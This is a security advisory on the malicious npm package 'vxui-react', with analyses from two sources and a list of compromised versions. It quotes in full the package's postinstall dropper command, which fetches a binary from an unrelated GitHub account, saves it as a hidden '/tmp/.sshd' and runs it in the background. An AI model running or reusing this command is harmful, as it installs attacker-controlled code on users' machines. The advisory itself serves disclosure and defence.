vxui-react

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (4af2c5e995ae069d3037f1310d055fac142dd6bb2ccd5ecb7e7f9a518e8022f0)
On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. The fetch disables TLS verification (`-k`), silences errors, points at an unpinned `latest` release on a GitHub account (`parikhpreyash4`) unrelated to the package's declared repository (`tmplink/vxui_react`), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (`/tmp/.sshd`), and backgrounds it so the install completes without surfacing the child process. Every installer running `npm install vxui-react` thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (`vxui-react: ^1.3.1`) in its own `dependencies`, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm.

## Source: ghsa-malware (57e4aeb03972170b150bd34ade1a06f6f29359eeb7c5efa797491c5d98cf8d9a)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Compromised versions (15)

• 1.3.2
• 1.3.4
• 1.3.3
• 1.3.12
• 1.3.6
• 1.3.13
• 1.3.10
• 1.3.7
• 1.5.0
• 1.3.9
• 1.3.11
• 1.3.5
• 1.4.0
• 1.5.1
• 1.5.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.